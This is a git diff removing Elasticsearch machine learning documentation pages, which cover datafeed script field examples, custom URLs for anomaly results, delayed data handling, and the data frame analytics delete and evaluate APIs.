-you can specify scripts that evaluate custom expressions and return script
-fields.
-
-If your {dfeed} defines script fields, you can use those fields in your
-{anomaly-job}. For example, you can use the script fields in the analysis
-functions in one or more detectors.
-
-* <<ml-configuring-transform1>>
-* <<ml-configuring-transform2>>
-* <<ml-configuring-transform3>>
-* <<ml-configuring-transform4>>
-* <<ml-configuring-transform5>>
-* <<ml-configuring-transform6>>
-* <<ml-configuring-transform7>>
-* <<ml-configuring-transform8>>
-* <<ml-configuring-transform9>>
-
-The following index APIs create and add content to an index that is used in
-subsequent examples:
-
-[source,console]
-----------------------------------
-PUT /my-index-000001
-{
-  "mappings":{
-    "properties": {
-      "@timestamp": {
-        "type": "date"
-      },
-      "aborted_count": {
-        "type": "long"
-      },
-      "another_field": {
-        "type": "keyword" <1>
-      },
-      "clientip": {
-        "type": "keyword"
-      },
-      "coords": {
-        "properties": {
-          "lat": {
-            "type": "keyword"
-          },
-          "lon": {
-            "type": "keyword"
-          }
-        }
-      },
-      "error_count": {
-        "type": "long"
-      },
-      "query": {
-        "type": "keyword"
-      },
-      "some_field": {
-        "type": "keyword"
-      },
-      "tokenstring1":{
-        "type":"keyword"
-      },
-      "tokenstring2":{
-        "type":"keyword"
-      },
-      "tokenstring3":{
-        "type":"keyword"
-      }
-    }
-  }
-}
-
-PUT /my-index-000001/_doc/1
-{
-  "@timestamp":"2017-03-23T13:00:00",
-  "error_count":36320,
-  "aborted_count":4156,
-  "some_field":"JOE",
-  "another_field":"SMITH  ",
-  "tokenstring1":"foo-bar-baz",
-  "tokenstring2":"foo bar baz",
-  "tokenstring3":"foo-bar-19",
-  "query":"www.ml.elastic.co",
-  "clientip":"123.456.78.900",
-  "coords": {
-    "lat" : 41.44,
-    "lon":90.5
-  }
-}
-----------------------------------
-// TEST[skip:SETUP]
-
-<1> In this example, string fields are mapped as `keyword` fields to support
-aggregation. If you want both a full text (`text`) and a keyword (`keyword`)
-version of the same field, use multi-fields. For more information, see
-{ref}/multi-fields.html[fields].
-
-[[ml-configuring-transform1]]
-.Example 1: Adding two numerical fields
-[source,console]
-----------------------------------
-PUT _ml/anomaly_detectors/test1
-{
-  "analysis_config":{
-    "bucket_span": "10m",
-    "detectors":[
-      {
-        "function":"mean",
-        "field_name": "total_error_count", <1>
-        "detector_description": "Custom script field transformation"
-      }
-    ]
-  },
-  "data_description": {
-  "time_field":"@timestamp",
-  "time_format":"epoch_ms"
-  }
-}
-
-PUT _ml/datafeeds/datafeed-test1
-{
-  "job_id": "test1",
-  "indices": ["my-index-000001"],
-  "query": {
-    "match_all": {
-          "boost": 1
-    }
-  },
-  "script_fields": {
-    "total_error_count": { <2>
-      "script": {
-        "lang": "expression",
-        "source": "doc['error_count'].value + doc['aborted_count'].value"
-      }
-    }
-  }
-}
-----------------------------------
-// TEST[skip:needs-licence]
-
-<1> A script field named `total_error_count` is referenced in the detector
-within the job.
-<2> The script field is defined in the {dfeed}.
-
-This `test1` {anomaly-job} contains a detector that uses a script field in a
-mean analysis function. The `datafeed-test1` {dfeed} defines the script field.
-It contains a script that adds two fields in the document to produce a "total"
-error count.
-
-The syntax for the `script_fields` property is identical to that used by {es}.
-For more information, see
-{ref}/search-fields.html#script-fields[Script fields].
-
-You can preview the contents of the {dfeed} by using the following API:
-
-[source,console]
-----------------------------------
-GET _ml/datafeeds/datafeed-test1/_preview
-----------------------------------
-// TEST[skip:continued]
-
-In this example, the API returns the following results, which contain a sum of
-the `error_count` and `aborted_count` values:
-
-[source,js]
-----------------------------------
-[
-  {
-    "@timestamp": 1490274000000,
-    "total_error_count": 40476
-  }
-]
-----------------------------------
-
-NOTE: This example demonstrates how to use script fields, but it contains
-insufficient data to generate meaningful results.
-
-//For a full demonstration of
-//how to create jobs with sample data, see <<ml-getting-started>>.
-
-You can alternatively use {kib} to create an advanced {anomaly-job} that uses
-script fields. To add the `script_fields` property to your {dfeed}, you must use
-the **Edit JSON** tab. For example:
-
-[role="screenshot"]
-image::images/ml-scriptfields.jpg[Adding script fields to a {dfeed} in {kib}]
-
-[[ml-configuring-transform-examples]]
-== Common script field examples
-
-While the possibilities are limitless, there are a number of common scenarios
-where you might use script fields in your {dfeeds}.
-
-[NOTE]
-===============================
-Some of these examples use regular expressions. By default, regular
-expressions are disabled because they circumvent the protection that Painless
-provides against long running and memory hungry scripts. For more information,
-see {ref}/modules-scripting-painless.html[Painless scripting language].
-
-Machine learning analysis is case sensitive. For example, "John" is considered
-to be different than "john". This is one reason you might consider using scripts
-that convert your strings to upper or lowercase letters.
-===============================
-
-[[ml-configuring-transform2]]
-.Example 2: Concatenating strings
-[source,console]
---------------------------------------------------
-PUT _ml/anomaly_detectors/test2
-{
-  "analysis_config":{
-    "bucket_span": "10m",
-    "detectors":[
-      {
-        "function":"low_info_content",
-        "field_name":"my_script_field", <1>
-        "detector_description": "Custom script field transformation"
-      }
-    ]
-  },
-  "data_description": {
-  "time_field":"@timestamp",
-  "time_format":"epoch_ms"
-  }
-}
-
-PUT _ml/datafeeds/datafeed-test2
-{
-  "job_id": "test2",
-  "indices": ["my-index-000001"],
-  "query": {
-    "match_all": {
-          "boost": 1
-    }
-  },
-  "script_fields": {
-    "my_script_field": {
-      "script": {
-        "lang": "painless",
-        "source": "doc['some_field'].value + '_' + doc['another_field'].value" <2>
-      }
-    }
-  }
-}
-
-GET _ml/datafeeds/datafeed-test2/_preview
---------------------------------------------------
-// TEST[skip:needs-licence]
-
-<1> The script field has a rather generic name in this case, since it will
-be used for various tests in the subsequent examples.
-<2> The script field uses the plus (+) operator to concatenate strings.
-
-The preview {dfeed} API returns the following results, which show that "JOE"
-and "SMITH  " have been concatenated and an underscore was added:
-
-[source,js]
-----------------------------------
-[
-  {
-    "@timestamp": 1490274000000,
-    "my_script_field": "JOE_SMITH  "
-  }
-]
-----------------------------------
-
-[[ml-configuring-transform3]]
-.Example 3: Trimming strings
-[source,console]
---------------------------------------------------
-POST _ml/datafeeds/datafeed-test2/_update
-{
-  "script_fields": {
-    "my_script_field": {
-      "script": {
-        "lang": "painless",
-        "source": "doc['another_field'].value.trim()" <1>
-      }
-    }
-  }
-}
-
-GET _ml/datafeeds/datafeed-test2/_preview
---------------------------------------------------
-// TEST[skip:continued]
-
-<1> This script field uses the `trim()` function to trim extra white space from a
-string.
-
-The preview {dfeed} API returns the following results, which show that "SMITH  "
-has been trimmed to "SMITH":
-
-[source,js]
-----------------------------------
-[
-  {
-    "@timestamp": 1490274000000,
-    "my_script_field": "SMITH"
-  }
-]
-----------------------------------
-
-[[ml-configuring-transform4]]
-.Example 4: Converting strings to lowercase
-[source,console]
---------------------------------------------------
-POST _ml/datafeeds/datafeed-test2/_update
-{
-  "script_fields": {
-    "my_script_field": {
-      "script": {
-        "lang": "painless",
-        "source": "doc['some_field'].value.toLowerCase()" <1>
-      }
-    }
-  }
-}
-
-GET _ml/datafeeds/datafeed-test2/_preview
---------------------------------------------------
-// TEST[skip:continued]
-
-<1> This script field uses the `toLowerCase` function to convert a string to all
-lowercase letters. Likewise, you can use the `toUpperCase{}` function to convert
-a string to uppercase letters.
-
-The preview {dfeed} API returns the following results, which show that "JOE"
-has been converted to "joe":
-
-[source,js]
-----------------------------------
-[
-  {
-    "@timestamp": 1490274000000,
-    "my_script_field": "joe"
-  }
-]
-----------------------------------
-
-[[ml-configuring-transform5]]
-.Example 5: Converting strings to mixed case formats
-[source,console]
---------------------------------------------------
-POST _ml/datafeeds/datafeed-test2/_update
-{
-  "script_fields": {
-    "my_script_field": {
-      "script": {
-        "lang": "painless",
-        "source": "doc['some_field'].value.substring(0, 1).toUpperCase() + doc['some_field'].value.substring(1).toLowerCase()" <1>
-      }
-    }
-  }
-}
-
-GET _ml/datafeeds/datafeed-test2/_preview
---------------------------------------------------
-// TEST[skip:continued]
-
-<1> This script field is a more complicated example of case manipulation. It uses
-the `subString()` function to capitalize the first letter of a string and
-converts the remaining characters to lowercase.
-
-The preview {dfeed} API returns the following results, which show that "JOE"
-has been converted to "Joe":
-
-[source,js]
-----------------------------------
-[
-  {
-    "@timestamp": 1490274000000,
-    "my_script_field": "Joe"
-  }
-]
-----------------------------------
-
-[[ml-configuring-transform6]]
-.Example 6: Replacing tokens
-[source,console]
---------------------------------------------------
-POST _ml/datafeeds/datafeed-test2/_update
-{
-  "script_fields": {
-    "my_script_field": {
-      "script": {
-        "lang": "painless",
-        "source": "/\\s/.matcher(doc['tokenstring2'].value).replaceAll('_')" <1>
-      }
-    }
-  }
-}
-
-GET _ml/datafeeds/datafeed-test2/_preview
---------------------------------------------------
-// TEST[skip:continued]
-
-<1> This script field uses regular expressions to replace white
-space with underscores.
-
-The preview {dfeed} API returns the following results, which show that
-"foo bar baz" has been converted to "foo_bar_baz":
-
-[source,js]
-----------------------------------
-[
-  {
-    "@timestamp": 1490274000000,
-    "my_script_field": "foo_bar_baz"
-  }
-]
-----------------------------------
-
-[[ml-configuring-transform7]]
-.Example 7: Regular expression matching and concatenation
-[source,console]
---------------------------------------------------
-POST _ml/datafeeds/datafeed-test2/_update
-{
-  "script_fields": {
-    "my_script_field": {
-      "script": {
-        "lang": "painless",
-        "source": "def m = /(.*)-bar-([0-9][0-9])/.matcher(doc['tokenstring3'].value); return m.find() ? m.group(1) + '_' + m.group(2) : '';" <1>
-      }
-    }
-  }
-}
-
-GET _ml/datafeeds/datafeed-test2/_preview
---------------------------------------------------
-// TEST[skip:continued]
-
-<1> This script field looks for a specific regular expression pattern and emits the
-matched groups as a concatenated string. If no match is found, it emits an empty
-string.
-
-The preview {dfeed} API returns the following results, which show that
-"foo-bar-19" has been converted to "foo_19":
-
-[source,js]
-----------------------------------
-[
-  {
-    "@timestamp": 1490274000000,
-    "my_script_field": "foo_19"
-  }
-]
-----------------------------------
-
-[[ml-configuring-transform8]]
-.Example 8: Splitting strings by domain name
-[source,console]
---------------------------------------------------
-PUT _ml/anomaly_detectors/test3
-{
-  "description":"DNS tunneling",
-  "analysis_config":{
-    "bucket_span": "30m",
-    "influencers": ["clientip","hrd"],
-    "detectors":[
-      {
-        "function":"high_info_content",
-        "field_name": "sub",
-        "over_field_name": "hrd",
-        "exclude_frequent":"all"
-      }
-    ]
-  },
-  "data_description": {
-  "time_field":"@timestamp",
-  "time_format":"epoch_ms"
-  }
-}
-
-PUT _ml/datafeeds/datafeed-test3
-{
-  "job_id": "test3",
-  "indices": ["my-index-000001"],
-  "query": {
-    "match_all": {
-          "boost": 1
-    }
-  },
-  "script_fields":{
-    "sub":{
-      "script":"return domainSplit(doc['query'].value).get(0);"
-    },
-    "hrd":{
-      "script":"return domainSplit(doc['query'].value).get(1);"
-    }
-  }
-}
-
-GET _ml/datafeeds/datafeed-test3/_preview
---------------------------------------------------
-// TEST[skip:needs-licence]
-
-If you have a single field that contains a well-formed DNS domain name, you can
-use the `domainSplit()` function to split the string into its highest registered
-domain and the sub-domain, which is everything to the left of the highest
-registered domain. For example, the highest registered domain of
-`www.ml.elastic.co` is `elastic.co` and the sub-domain is `www.ml`. The
-`domainSplit()` function returns an array of two values: the first value is the
-subdomain; the second value is the highest registered domain.
-
-The preview {dfeed} API returns the following results, which show that
-"www.ml.elastic.co" has been split into "elastic.co" and "www.ml":
-
-[source,js]
-----------------------------------
-[
-  {
-    "@timestamp": 1490274000000,
-    "clientip.keyword": "123.456.78.900",
-    "hrd": "elastic.co",
-    "sub": "www.ml"
-  }
-]
-----------------------------------
-
-[[ml-configuring-transform9]]
-.Example 9: Transforming geo_point data
-[source,console]
---------------------------------------------------
-PUT _ml/anomaly_detectors/test4
-{
-  "analysis_config":{
-    "bucket_span": "10m",
-    "detectors":[
-      {
-        "function":"lat_long",
-        "field_name": "my_coordinates"
-      }
-    ]
-  },
-  "data_description": {
-  "time_field":"@timestamp",
-  "time_format":"epoch_ms"
-  }
-}
-
-PUT _ml/datafeeds/datafeed-test4
-{
-  "job_id": "test4",
-  "indices": ["my-index-000001"],
-  "query": {
-    "match_all": {
-          "boost": 1
-    }
-  },
-  "script_fields": {
-    "my_coordinates": {
-      "script": {
-        "source": "doc['coords.lat'].value + ',' + doc['coords.lon'].value",
-        "lang": "painless"
-      }
-    }
-  }
-}
-
-GET _ml/datafeeds/datafeed-test4/_preview
---------------------------------------------------
-// TEST[skip:needs-licence]
-
-In {es}, location data can be stored in `geo_point` fields but this data type is
-not supported natively in {ml} analytics. This example of a script field
-transforms the data into an appropriate format. For more information,
-see <<ml-geo-functions>>.
-
-The preview {dfeed} API returns the following results, which show that
-`41.44` and `90.5` have been combined into "41.44,90.5":
-
-[source,js]
-----------------------------------
-[
-  {
-    "@timestamp": 1490274000000,
-    "my_coordinates": "41.44,90.5"
-  }
-]
-----------------------------------
-
diff --git a/docs/reference/ml/anomaly-detection/ml-configuring-url.asciidoc b/docs/reference/ml/anomaly-detection/ml-configuring-url.asciidoc
deleted file mode 100644
index bd46bbd01e9..00000000000
--- a/docs/reference/ml/anomaly-detection/ml-configuring-url.asciidoc
+++ /dev/null
@@ -1,106 +0,0 @@
-[role="xpack"]
-[[ml-configuring-url]]
-= Adding custom URLs to machine learning results
-
-You can optionally attach one or more custom URLs to your {anomaly-jobs}. These
-links appear in the anomalies table in the *Anomaly Explorer* and
-*Single Metric Viewer* and can direct you to dashboards, the *Discover* app, or 
-external websites. For example, you can define a custom URL that provides a way
-for users to drill down to the source data from the results set:
-
-[role="screenshot"]
-image::images/ml-customurl.jpg["An example of the custom URL links in the Anomaly Explorer anomalies table"]
-
-When you create or edit an {anomaly-job} in {kib}, it simplifies the creation
-of the custom URLs for {kib} dashboards and the *Discover* app and it enables
-you to test your URLs. For example:
-
-[role="screenshot"]
-image::images/ml-customurl-edit.gif["Add a custom URL in {kib}",width=75%]
-
-For each custom URL, you must supply the URL and a label, which is the link text
-that appears in the anomalies table. You can also optionally supply a time 
-range. When you link to *Discover* or a {kib} dashboard, you'll have additional
-options for specifying the pertinent index pattern or dashboard name and query
-entities.
-
-[discrete]
-[[ml-configuring-url-strings]]
-== String substitution in custom URLs
-
-You can use dollar sign ($) delimited tokens in a custom URL. These tokens are
-substituted for the values of the corresponding fields in the anomaly records.
-For example, the `Raw data` URL might resolve to `discover#/?_g=(time:(from:'$earliest$',mode:absolute,to:'$latest$'))&_a=(index:ff959d40-b880-11e8-a6d9-e546fe2bba5f,query:(language:kuery,query:'customer_full_name.keyword:"$customer_full_name.keyword$"'))`. In this case, the pertinent value of the `customer_full_name.keyword` field
-is passed to the target page when you click the link. 
-
-TIP: Not all fields in your source data exist in the anomaly results. If a
-field is specified in the detector as the `field_name`, `by_field_name`,
-`over_field_name`, or `partition_field_name`, for example, it can be used in a
-custom URL. A field that is used only in the `categorization_field_name`
-property, however, does not exist in the anomaly results. When you create your
-custom URL in {kib}, the *Query entities* option is shown only when there are
-appropriate fields in the detectors.
-
-The `$earliest$` and `$latest$` tokens pass the beginning and end of the time
-span of the selected anomaly to the target page. The tokens are substituted with
-date-time strings in ISO-8601 format. If you selected an interval of 1 hour for
-the anomalies table, these tokens use one hour on either side of the anomaly
-time as the earliest and latest times. You can alter this behavior by setting a
-time range for the custom URL.
-
-There are also `$mlcategoryregex$` and `$mlcategoryterms$` tokens, which pertain
-to {anomaly-jobs} where you are categorizing field values. For more information
-about this type of analysis, see <<ml-configuring-categories>>. The
-`$mlcategoryregex$` token passes the regular expression value of the category of
-the selected anomaly, as identified by the value of the `mlcategory` field of
-the anomaly record. The `$mlcategoryterms$` token passes the terms value of the
-category of the selected anomaly. Each categorization term is prefixed by a plus
-(+) character, so that when the token is passed to a {kib} dashboard, the
-resulting dashboard query seeks a match for all of the terms of the category.
-For example, the following API updates a job to add a custom URL that uses 
-`$earliest$`, `$latest$`, and `$mlcategoryterms$` tokens:
-
-[source,console]
-----------------------------------
-POST _ml/anomaly_detectors/sample_job/_update
-{
-  "custom_settings": {
-        "custom_urls": [
-          {
-            "url_name": "test-link1",
-            "time_range": "1h",
-            "url_value": "discover#/?_g=(time:(from:'$earliest$',mode:quick,to:'$latest$'))&_a=(index:'90943e30-9a47-11e8-b64d-95841ca0b247',query:(language:lucene,query_string:(analyze_wildcard:!t,query:'$mlcategoryterms$')),sort:!(time,desc))"
-          }
-        ]
-      }
-}
-----------------------------------
-//TEST[skip:setup:sample_job]
-
-When you click this custom URL in the anomalies table in {kib}, it opens up the
-*Discover* page and displays source data for the period one hour before and 
-after the anomaly occurred. Since this job is categorizing log messages, some 
-`$mlcategoryterms$` token values that are passed to the target page in the query
-might include `+REC +Not +INSERTED +TRAN +Table +hostname +dbserver.acme.com`.
-
-[TIP]
-===============================
-* The custom URL links in the anomaly tables use pop-ups. You must configure
-your web browser so that it does not block pop-up windows or create an exception
-for your {kib} URL.
-* When creating a link to a {kib} dashboard, the URLs for dashboards can be very
-long. Be careful of typos, end of line characters, and URL encoding. Also ensure
-you use the appropriate index ID for the target {kib} index pattern.
-* If you use an influencer name for string substitution, keep in mind that it
-might not always be available in the analysis results and the URL is invalid in
-those cases. There is not always a statistically significant influencer for each
-anomaly.
-* The dates substituted for `$earliest$` and `$latest$` tokens are in
-ISO-8601 format and the target system must understand this format.
-* If the job performs an analysis against nested JSON fields, the tokens for
-string substitution can refer to these fields using dot notation. For example,
-`$cpu.total$`.
-* {es} source data mappings might make it difficult for the query string to work.
-Test the custom URL before saving the job configuration to check that it works
-as expected, particularly when using string substitution.
-===============================
diff --git a/docs/reference/ml/anomaly-detection/ml-delayed-data-detection.asciidoc b/docs/reference/ml/anomaly-detection/ml-delayed-data-detection.asciidoc
deleted file mode 100644
index e1de295e43e..00000000000
--- a/docs/reference/ml/anomaly-detection/ml-delayed-data-detection.asciidoc
+++ /dev/null
@@ -1,53 +0,0 @@
-[role="xpack"]
-[[ml-delayed-data-detection]]
-= Handling delayed data
-
-Delayed data are documents that are indexed late. That is to say, it is data 
-related to a time that your {dfeed} has already processed and it is therefore
-never analyzed by your {anomaly-job}.
-
-When you create a {dfeed}, you can specify a
-{ref}/ml-put-datafeed.html#ml-put-datafeed-request-body[`query_delay`] setting.
-This setting enables the {dfeed} to wait for some time past real-time, which
-means any "late" data in this period is fully indexed before the {dfeed} tries
-to gather it. However, if the setting is set too low, the {dfeed} may query for
-data before it has been indexed and consequently miss that document. Conversely,
-if it is set too high, analysis drifts farther away from real-time. The balance
-that is struck depends upon each use case and the environmental factors of the
-cluster.
-
-== Why worry about delayed data?
-
-This is a particularly prescient question. If data are delayed randomly (and
-consequently are missing from analysis), the results of certain types of
-functions are not really affected. In these situations, it all comes out okay in
-the end as the delayed data is distributed randomly. An example would be a `mean`
-metric for a field in a large collection of data. In this case, checking for
-delayed data may not provide much benefit. If data are consistently delayed,
-however, {anomaly-jobs} with a `low_count` function may provide false positives.
-In this situation, it would be useful to see if data comes in after an anomaly is
-recorded so that you can determine a next course of action.
-
-== How do we detect delayed data?
-
-In addition to the `query_delay` field, there is a delayed data check config,
-which enables you to configure the datafeed to look in the past for delayed data.
-Every 15 minutes or every `check_window`, whichever is smaller, the datafeed
-triggers a document search over the configured indices. This search looks over a
-time span with a length of `check_window` ending with the latest finalized bucket.
-That time span is partitioned into buckets, whose length equals the bucket span
-of the associated {anomaly-job}. The `doc_count` of those buckets are then
-compared with the job's finalized analysis buckets to see whether any data has
-arrived since the analysis. If there is indeed missing data due to their ingest
-delay, the end user is notified. For example, you can see annotations in {kib}
-for the periods where these delays occur.
-
-== What to do about delayed data?
-
-The most common course of action is to simply to do nothing. For many functions
-and situations, ignoring the data is acceptable. However, if the amount of
-delayed data is too great or the situation calls for it, the next course of
-action to consider is to increase the `query_delay` of the datafeed. This
-increased delay allows more time for data to be indexed. If you have real-time
-constraints, however, an increased delay might not be desirable. In which case,
-you would have to {ref}/tune-for-indexing-speed.html[tune for better indexing speed].
diff --git a/docs/reference/ml/df-analytics/apis/delete-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/delete-dfanalytics.asciidoc
deleted file mode 100644
index 29e78f43fb7..00000000000
--- a/docs/reference/ml/df-analytics/apis/delete-dfanalytics.asciidoc
+++ /dev/null
@@ -1,69 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[delete-dfanalytics]]
-= Delete {dfanalytics-jobs} API
-[subs="attributes"]
-++++
-<titleabbrev>Delete {dfanalytics-jobs}</titleabbrev>
-++++
-
-Deletes an existing {dfanalytics-job}.
-
-experimental[]
-
-
-[[ml-delete-dfanalytics-request]]
-== {api-request-title}
-
-`DELETE _ml/data_frame/analytics/<data_frame_analytics_id>`
-
-
-[[ml-delete-dfanalytics-prereq]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following built-in roles or equivalent privileges:
-
-* `machine_learning_admin`
-
-For more information, see <<built-in-roles>> and {ml-docs-setup-privileges}.
-
-
-[[ml-delete-dfanalytics-path-params]]
-== {api-path-parms-title}
-
-`<data_frame_analytics_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-data-frame-analytics]
-
-[[ml-delete-dfanalytics-query-params]]
-== {api-query-parms-title}
-
-`force`::
-  (Optional, Boolean) If `true`, it deletes a job that is not stopped; this method is
-  quicker than stopping and deleting the job.
-
-`timeout`::
-  (Optional, <<time-units,time units>>) The time to wait for the job to be deleted.
-  Defaults to 1 minute.
-
-
-
-[[ml-delete-dfanalytics-example]]
-== {api-examples-title}
-
-The following example deletes the `loganalytics` {dfanalytics-job}:
-
-[source,console]
---------------------------------------------------
-DELETE _ml/data_frame/analytics/loganalytics
---------------------------------------------------
-// TEST[skip:TBD]
-
-The API returns the following result:
-
-[source,console-result]
-----
-{
-  "acknowledged" : true
-}
-----
diff --git a/docs/reference/ml/df-analytics/apis/delete-trained-models.asciidoc b/docs/reference/ml/df-analytics/apis/delete-trained-models.asciidoc
deleted file mode 100644
index 6c64df9a3a3..00000000000
--- a/docs/reference/ml/df-analytics/apis/delete-trained-models.asciidoc
+++ /dev/null
@@ -1,69 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[delete-trained-models]]
-= Delete trained models API
-[subs="attributes"]
-++++
-<titleabbrev>Delete trained models</titleabbrev>
-++++
-
-Deletes an existing trained {infer} model that is currently not referenced by an
-ingest pipeline.
-
-experimental[]
-
-
-[[ml-delete-trained-models-request]]
-== {api-request-title}
-
-`DELETE _ml/trained_models/<model_id>`
-
-
-[[ml-delete-trained-models-prereq]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following built-in roles or equivalent privileges:
-
-* `machine_learning_admin`
-
-For more information, see <<built-in-roles>> and {ml-docs-setup-privileges}.
-
-
-[[ml-delete-trained-models-path-params]]
-== {api-path-parms-title}
-
-`<model_id>`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-id]
-
-
-[[ml-delete-trained-models-response-codes]]
-== {api-response-codes-title}
-
-`409`::
-  The code indicates that the trained model is referenced by an ingest pipeline
-  and cannot be deleted.
-
-
-[[ml-delete-trained-models-example]]
-== {api-examples-title}
-
-The following example deletes the `regression-job-one-1574775307356` trained
-model:
-
-[source,console]
---------------------------------------------------
-DELETE _ml/trained_models/regression-job-one-1574775307356
---------------------------------------------------
-// TEST[skip:TBD]
-
-The API returns the following result:
-
-
-[source,console-result]
-----
-{
-  "acknowledged" : true
-}
-----
-
diff --git a/docs/reference/ml/df-analytics/apis/evaluate-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/evaluate-dfanalytics.asciidoc
deleted file mode 100644
index 70be9d067bc..00000000000
--- a/docs/reference/ml/df-analytics/apis/evaluate-dfanalytics.asciidoc
+++ /dev/null
@@ -1,541 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[evaluate-dfanalytics]]
-= Evaluate {dfanalytics} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Evaluate {dfanalytics}</titleabbrev>
-++++
-
-Evaluates the {dfanalytics} for an annotated index.
-
-experimental[]
-
-
-[[ml-evaluate-dfanalytics-request]]
-== {api-request-title}
-
-`POST _ml/data_frame/_evaluate`
-
-
-[[ml-evaluate-dfanalytics-prereq]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following privileges:
-
-* cluster: `monitor_ml`
-  
-For more information, see <<security-privileges>> and 
-{ml-docs-setup-privileges}.
-
-
-[[ml-evaluate-dfanalytics-desc]]
-== {api-description-title}
-
-The API packages together commonly used evaluation metrics for various types of 
-machine learning features. This has been designed for use on indexes created by 
-{dfanalytics}. Evaluation requires both a ground truth field and an analytics 
-result field to be present.
-
-
-[[ml-evaluate-dfanalytics-request-body]]
-== {api-request-body-title}
-
-`evaluation`::
-(Required, object) Defines the type of evaluation you want to perform.
-See <<ml-evaluate-dfanalytics-resources>>.
-+
---
-Available evaluation types:
-
-* `outlier_detection`
-* `regression`
-* `classification`
-
---
-
-`index`::
-(Required, object) Defines the `index` in which the evaluation will be
-performed.
-
-`query`::
-(Optional, object) A query clause that retrieves a subset of data from the
-source index. See <<query-dsl>>.
-
-[[ml-evaluate-dfanalytics-resources]]
-== {dfanalytics-cap} evaluation resources
-
-[[oldetection-resources]]
-=== {oldetection-cap} evaluation objects
-
-{oldetection-cap} evaluates the results of an {oldetection} analysis which 
-outputs the probability that each document is an outlier.
-
-`actual_field`::
-  (Required, string) The field of the `index` which contains the `ground truth`. 
-  The data type of this field can be boolean or integer. If the data type is 
-  integer, the value has to be either `0` (false) or `1` (true).
-
-`predicted_probability_field`::
-  (Required, string) The field of the `index` that defines the probability of 
-  whether the item belongs to the class in question or not. It's the field that 
-  contains the results of the analysis.
-
-`metrics`::
-  (Optional, object) Specifies the metrics that are used for the evaluation. 
-  Available metrics:
-  
-  `auc_roc`:::
-    (Optional, object) The AUC ROC (area under the curve of the receiver 
-    operating characteristic) score and optionally the curve. Default value is 
-    {"include_curve": false}.
-    
-  `confusion_matrix`:::
-    (Optional, object) Set the different thresholds of the {olscore} at where
-    the metrics (`tp` - true positive, `fp` - false positive, `tn` - true
-    negative, `fn` - false negative) are calculated. Default value is
-    {"at": [0.25, 0.50, 0.75]}.
-
-  `precision`:::
-    (Optional, object) Set the different thresholds of the {olscore} at where 
-    the metric is calculated. Default value is {"at": [0.25, 0.50, 0.75]}.
-  
-  `recall`:::
-    (Optional, object) Set the different thresholds of the {olscore} at where 
-    the metric is calculated. Default value is {"at": [0.25, 0.50, 0.75]}.
-
-    
-[[regression-evaluation-resources]]
-=== {regression-cap} evaluation objects
-
-{regression-cap} evaluation evaluates the results of a {regression} analysis 
-which outputs a prediction of values.
-
-`actual_field`::
-  (Required, string) The field of the `index` which contains the `ground truth`. 
-  The data type of this field must be numerical.
-  
-`predicted_field`::
-  (Required, string) The field in the `index` that contains the predicted value, 
-  in other words the results of the {regression} analysis.
-  
-`metrics`::
-  (Optional, object) Specifies the metrics that are used for the evaluation. For 
-  more information on `mse`, `msle`, and `huber`, consult 
-  https://github.com/elastic/examples/tree/master/Machine%20Learning/Regression%20Loss%20Functions[the Jupyter notebook on regression loss functions].
-  Available metrics:
-
-  `mse`:::
-    (Optional, object) Average squared difference between the predicted values 
-    and the actual (`ground truth`) value. For more information, read 
-    {wikipedia}/Mean_squared_error[this wiki article].
-
-  `msle`:::
-    (Optional, object) Average squared difference between the logarithm of the 
-    predicted values and the logarithm of the actual (`ground truth`) value.
-    
-    `offset`::::
-      (Optional, double) Defines the transition point at which you switch from 
-      minimizing quadratic error to minimizing quadratic log error. Defaults to 
-      `1`.
-
-  `huber`:::
-    (Optional, object) Pseudo Huber loss function. For more information, read 
-    {wikipedia}/Huber_loss#Pseudo-Huber_loss_function[this wiki article].
-    
-    `delta`::::
-      (Optional, double) Approximates 1/2 (prediction - actual)^2^ for values 
-      much less than delta and approximates a straight line with slope delta for 
-      values much larger than delta. Defaults to `1`. Delta needs to be greater 
-      than `0`.
-
-  `r_squared`:::
-    (Optional, object) Proportion of the variance in the dependent variable that 
-    is predictable from the independent variables. For more information, read 
-    {wikipedia}/Coefficient_of_determination[this wiki article].
-
-
-  
-[[classification-evaluation-resources]]
-== {classification-cap} evaluation objects
-
-{classification-cap} evaluation evaluates the results of a {classanalysis} which 
-outputs a prediction that identifies to which of the classes each document 
-belongs.
-
-`actual_field`::
-  (Required, string) The field of the `index` which contains the `ground truth`.
-  The data type of this field must be categorical.
-  
-`predicted_field`::
-  (Optional, string) The field in the `index` which contains the predicted value,
-  in other words the results of the {classanalysis}.
-
-`top_classes_field`::
-  (Optional, string) The field of the `index` which is an array of documents
-  of the form `{ "class_name": XXX, "class_probability": YYY }`.
-  This field must be defined as `nested` in the mappings.
-
-`metrics`::
-  (Optional, object) Specifies the metrics that are used for the evaluation.
-  Available metrics:
-
-  `accuracy`:::
-    (Optional, object) Accuracy of predictions (per-class and overall).
-
-  `auc_roc`:::
-    (Optional, object) The AUC ROC (area under the curve of the receiver
-    operating characteristic) score and optionally the curve.
-    It is calculated for a specific class (provided as "class_name") treated as 
-    positive.
-
-    `class_name`::::
-      (Required, string) Name of the only class that is treated as positive 
-      during AUC ROC calculation. Other classes are treated as negative 
-      ("one-vs-all" strategy). All the evaluated documents must have 
-      `class_name` in the list of their top classes.
-
-    `include_curve`::::
-      (Optional, Boolean) Whether or not the curve should be returned in
-      addition to the score. Default value is false.
-
-  `multiclass_confusion_matrix`:::
-    (Optional, object) Multiclass confusion matrix.
-
-  `precision`:::
-    (Optional, object) Precision of predictions (per-class and average).
-
-  `recall`:::
-    (Optional, object) Recall of predictions (per-class and average).
-
-
-////
-[[ml-evaluate-dfanalytics-results]]
-== {api-response-body-title}
-
-`outlier_detection`::
-  (object) If you chose to do outlier detection, the API returns the
-  following evaluation metrics:
-  
-`auc_roc`::: TBD
-
-`confusion_matrix`::: TBD
-  
-`precision`::: TBD
-
-`recall`::: TBD
-////
